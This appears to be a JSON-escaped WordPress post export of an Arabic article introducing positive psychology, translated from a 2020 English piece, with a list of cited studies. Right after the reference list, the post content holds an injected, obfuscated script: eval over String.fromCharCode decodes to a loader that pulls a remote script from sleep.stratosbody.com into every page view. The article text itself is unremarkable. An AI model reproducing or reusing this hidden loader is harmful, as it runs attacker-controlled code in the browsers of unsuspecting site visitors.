\u0623\u0646\u0635\u0627\u0631 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0645\u0633\u0627\u0639\u062f\u0629 \u0627\u0644\u0646\u0627\u0633 \u0639\u0644\u0649 \u0631\u0639\u0627\u064a\u0629 \u0648\u062a\u0646\u0645\u064a\u0629 \u0645\u0648\u0627\u0647\u0628\u0647\u0645 \u0648\u0633\u062c\u0627\u064a\u0627\u0647\u0645 \u0648\u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0639\u0627\u062f\u064a\u0629 \u0627\u0644\u0633\u0648\u064a\u0629\u060c \u0648\u0628\u0646\u0627\u0621 \u0639\u0644\u0649 \u0630\u0644\u0643 \u0627\u0644\u062a\u0635\u0648\u0631 \u064a\u062a\u0636\u0645\u0646 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0646\u0633\u0642\u064b\u0627 \u0645\u062a\u0646\u0648\u0639\u064b\u0627 \u0645\u0646 \u0627\u0644\u0645\u0641\u0627\u0647\u064a\u0645 \u0627\u0644\u0645\u0641\u062a\u0627\u062d\u064a\u0629 \u0627\u0644\u0645\u0631\u0643\u0632\u064a\u0629 \u062a\u062a\u0645\u062b\u0644 \u0623\u0628\u0631\u0632\u0647\u0627 \u0641\u064a: \u0627\u0644\u0633\u0639\u0627\u062f\u0629\u060c \u0627\u0644\u0647\u0646\u0627\u0621\u060c \u0627\u0644\u062a\u0641\u0627\u0624\u0644\u060c \u0627\u0644\u0623\u0645\u0644\u060c \u0645\u0643\u0627\u0645\u0646 \u0627\u0644\u0642\u0648\u0629\u060c \u0627\u0644\u062f\u0627\u0641\u0639\u064a\u0629 \u0648\u0627\u0644\u0623\u0647\u062f\u0627\u0641.<\/p>\n<p style=\"text-align: justify;\"><em><span style=\"color: #000000;\"><strong>\u0627\u062b\u062a\u0646\u0627 \u0639\u0634\u0631- \u0645\u0635\u0627\u062f\u0631 \u0627\u0644\u0645\u0642\u0627\u0644<\/strong><strong>: <\/strong><\/span><\/em><\/p>\n<ul>\n<li style=\"text-align: justify;\"><span style=\"color: #993300;\"><strong>\u0627\u0644\u0645\u0635\u062f\u0631 \u0627\u0644\u0631\u0626\u064a\u0633\u064a: <\/strong><\/span><\/li>\n<li style=\"text-align: left;\"><a href=\"https:\/\/positivepsychology.com\/team\/courtney-ackerman\/\">Courtney E. Ackerman<\/a> (2020). What is Positive Psychology &amp; Why is It Important?:<a href=\"https:\/\/positivepsychology.com\/what-is-positive-psychology-definition\/\">https:\/\/positivepsychology.com\/what-is-positive-psychology-definition\/<\/a><\/li>\n<li style=\"text-align: left;\">\u0627\u0644\u0645\u0631\u0627\u062c\u0639 \u0627\u0644\u062a\u064a \u0627\u0639\u062a\u0645\u062f\u062a \u0639\u0644\u064a\u0647\u0627 (\u0643\u0648\u0631\u062a\u0646\u064a \u0625\u064a \u0623\u0643\u0631\u0645\u0627\u0646\u060c 2020):<\/li>\n<li style=\"text-align: left;\">Aknin, L. B., Norton, M. I., &amp; Dunn, E. W. (2009) From wealth to well-being? Money matters, but less than people think,\u00a0<em>The Journal of Positive Psychology, 4,<\/em>523-527.<\/li>\n<li style=\"text-align: left;\">Barraza, J. A., &amp; Zak, P. J. (2009). Empathy towards strangers triggers oxytocin release and subsequent generosity.\u00a0<em>Annals of the New York Academy of Sciences, 1167,<\/em>182-189.<\/li>\n<li style=\"text-align: left;\">Baumeister, R. F., Vohs, K. D., Aaker, J., &amp;Garbinsky, E. N. (2012). Some key differences between a happy life and a meaningful life.\u00a0<em>Journal of Positive Psychology, 8,<\/em>505-516.<\/li>\n<li style=\"text-align: left;\">Del Valle, C. H. C., &amp;Mateos, P. M. (2008). Dispositional pessimism, defensive pessimism and optimism: The effect of induced mood on prefactual and counterfactual thinking and performance.\u00a0<em>Cognition &amp; Emotion, 22,<\/em>1600-1612.<\/li>\n<li style=\"text-align: left;\">Dillard, A. J., Midboe, A. M., &amp; Klein, W. M. P. (2009). The dark side of optimism: Unrealistic optimism about problems with alcohol predicts subsequent negative event experiences.\u00a0<em>Personality &amp; Social Psychology Bulletin, 35,<\/em>1540-1550.<\/li>\n<li style=\"text-align: left;\">Dunn, E. W., Aknin, L. B., &amp; Norton, M. I. (2008). Spending money on others promotes happiness.\u00a0<em>Science, 319,<\/em>1687-1688.<\/li>\n<li style=\"text-align: left;\">Fowler, J. H., &amp; Christakis, N. A. (2008). Dynamic spread of happiness in a large social network: Longitudinal analysis over 20 years in the Framingham Heart Study.\u00a0<em>The BMJ, 337.<\/em><\/li>\n<li style=\"text-align: left;\">Harvard Health Publishing. (2008). Positive psychology in practice.\u00a0<em>Harvard Mental Health Letter.<\/em>Retrieved from https:\/\/www.health.harvard.edu\/mind-and-mood\/positive_psychology_in_practice<\/li>\n<li style=\"text-align: left;\">Howell, R. T., &amp; Hill, G. (2009). The mediators of experiential purchases: Determining the impact of psychological needs satisfaction and social comparison.\u00a0<em>The Journal of Positive Psychology, 4,<\/em>511\u2013522.<\/li>\n<li style=\"text-align: left;\">Jenkinson, C. E., Dickens, A. P., Jones, K., Thompson-Coon, J., Taylor, R. S., Rogers, M., Bambra, C. L.,\u2026, &amp; Richards, S. H. (2013). Is volunteering a public health intervention? A systematic review and meta-analysis of the health and survival of volunteers.\u00a0<em>BMC Public Health, 13,<\/em>773-782.<\/li>\n<li style=\"text-align: left;\">Kjerulf, A. (2016, January 18). The 5 most important findings from the science of happiness that apply at work.\u00a0<em>The Chief Happiness Officer Blog.<\/em>Retrieved from https:\/\/positivesharing.com\/2016\/01\/positive-psychology-at-work\/<\/li>\n<li style=\"text-align: left;\">Layous, K., Nelson, S. K., Oberle, E., Schonert-Reichl, K. A., &amp; Lyubomirsky, S. (2012). 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Flourishing.\u00a0<em>Positive Psychology People.<\/em>Retrieved from http:\/\/www.thepositivepsychologypeople.com\/flourishing\/<\/li>\n<\/ul>\n<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u062a\u0623\u0644\u064a\u0641: \u0643\u0648\u0631\u062a\u0646\u064a \u0625\u064a \u0623\u0643\u0631\u0645\u0627\u0646\u060c 2020 \u062a\u0631\u062c\u0645\u0629 \u0648\u062a\u0646\u0633\u064a\u0642 \u0648\u0625\u0636\u0627\u0641\u0629: \u062f. \u0645\u062d\u0645\u062f \u0627\u0644\u0633\u0639\u064a\u062f \u0623\u0628\u0648 \u062d\u0644\u0627\u0648\u0629| \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0627\u0644\u0645\u0634\u0627\u0631\u0643\u060c \u0643\u0644\u064a\u0629 \u0627\u0644\u062a\u0631\u0628\u064a\u0629\u060c \u062c\u0627\u0645\u0639\u0629 \u062f\u0645\u0646\u0647\u0648\u0631 \u0625\u0630\u0627 \u0643\u0646\u062a \u0633\u0645\u0639\u062a \u0645\u0635\u0637\u0644\u062d &#8220;\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a&#8221; \u0641\u064a \u062a\u0631\u062f\u062f\u0647 \u0639\u0644\u0649 \u0623\u0644\u0633\u0646\u0629 \u063a\u0627\u0644\u0628\u064a\u0629 \u0627\u0644\u0645\u062a\u062e\u0635\u0635\u064a\u0646 \u0641\u064a \u0627\u0644\u062f\u0631\u0627\u0633\u0627\u062a \u0627\u0644\u0646\u0641\u0633\u064a\u0629\u060c \u0631\u0628\u0645\u0627 \u062a\u062a\u0633\u0627\u0626\u0644 \u0639\u0646 \u0645\u0627\u0647\u064a\u062a\u0647 \u0648\u0645\u0627 \u0627\u0644\u0630\u064a \u064a\u0645\u062b\u0644\u0647 \u0628\u0627\u0644\u0636\u0628\u0637\u061f \u0648\u0645\u0646 \u0623\u064a\u0646 \u062c\u0627\u0621\u061f \u0648\u0625\u0644\u0649 \u0623\u064a\u0646 \u064a\u0633\u064a\u0631 \u0628\u0646\u0627\u061f!!! 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